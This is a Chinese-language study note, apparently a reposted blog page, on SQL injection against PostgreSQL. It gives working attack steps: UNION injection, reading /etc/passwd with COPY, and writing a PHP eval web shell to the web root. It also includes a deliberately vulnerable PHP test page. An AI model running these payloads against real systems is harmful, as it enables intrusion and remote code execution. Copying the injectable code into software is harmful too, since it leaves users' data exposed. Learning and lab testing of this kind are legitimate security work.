内容简介:PostgreSQL是一个功能强大的开源对象关系数据库管理系统(ORDBMS)。 用于安全地存储数据; 支持最佳做法,并允许在处理请求时检索它们。PostgreSQL(也称为Post-gress-Q-L)由PostgreSQL全球开发集团(全球志愿者团队)开发。 它不受任何公司或其他私人实体控制。 它是开源的,其源代码是免费提供的。PostgreSQL是跨平台的,可以在许多操作系统上运行,如Linux,FreeBSD,OS X,Solaris和Microsoft Windows等。可以在常量后面加
PostgreSQL是一个功能强大的开源对象关系数据库管理系统(ORDBMS)。 用于安全地存储数据; 支持最佳做法,并允许在处理请求时检索它们。PostgreSQL(也称为Post-gress-Q-L)由PostgreSQL全球开发集团(全球志愿者团队)开发。 它不受任何公司或其他私人实体控制。 它是开源的,其源代码是免费提供的。PostgreSQL是跨平台的,可以在许多操作系统上运行,如Linux,FreeBSD,OS X,Solaris和Microsoft Windows等。
测试过程
目标
and 1=1
如何判断目标的database是不是postgresql?
可以在常量后面加 ::类型名
, 1等于1::int
postgresql还支持||字符串连接符以及chr函数—-chr(1)||chr(1)=chr(1)||chr(1)返回正常
所以:
union注入走一下
order by 判断字段为4
union 查询数据
显示位在第二
试一下读文件
postgresql可以通过 ;
来分割执行自己定义的语句
create table wing(wing text not null) # 语法和其他数据库一样
读取文件内容并插入表中
copy wing(wing) from '/etc/passwd'
然后通过union查询出来
写shell
copy (select '<?php eval($_REQUEST["w"]);?>') to '/var/www/wing.php'
getshell
测试代码如下:
<?php error_reporting(E_ALL); $conn_string = "host=localhost port=5432 dbname=postgres user=postgres password=pgsql123"; $conn = pg_connect($conn_string); $rs = pg_query($conn, "SELECT * FROM news_list WHERE id = " . $_GET['id']); if(pg_num_rows($rs) == 0) { echo "No record."; } else { while($row = pg_fetch_array($rs)) { echo $row['title']; } } pg_close($conn);
sqlmap验证:
以上所述就是小编给大家介绍的《学习笔记-PostgreSql注入》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:- SQL 注入笔记
- SQL 注入笔记
- Java SQL 注入学习笔记
- Java OS 命令注入学习笔记
- Angular 4 依赖注入教程之二 组件中注入服务
- 服务端注入之Flask框架中服务端模板注入问题
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
啊哈C语言!逻辑的挑战(修订版)
啊哈磊 / 电子工业出版社 / 2017-1 / 49
《啊哈C语言!逻辑的挑战(修订版)》是一本非常有趣的编程启蒙书,《啊哈C语言!逻辑的挑战(修订版)》从中小学生的角度来讲述,没有生涩的内容,取而代之的是生动活泼的漫画和风趣幽默的文字。配合超萌的编程软件,《啊哈C语言!逻辑的挑战(修订版)》从开始学习与计算机对话到自己独立制作一个游戏,由浅入深地讲述编程的思维。同时,与计算机展开的逻辑较量一定会让你觉得很有意思。你可以在茶余饭后阅读《啊哈C语言!逻......一起来看看 《啊哈C语言!逻辑的挑战(修订版)》 这本书的介绍吧!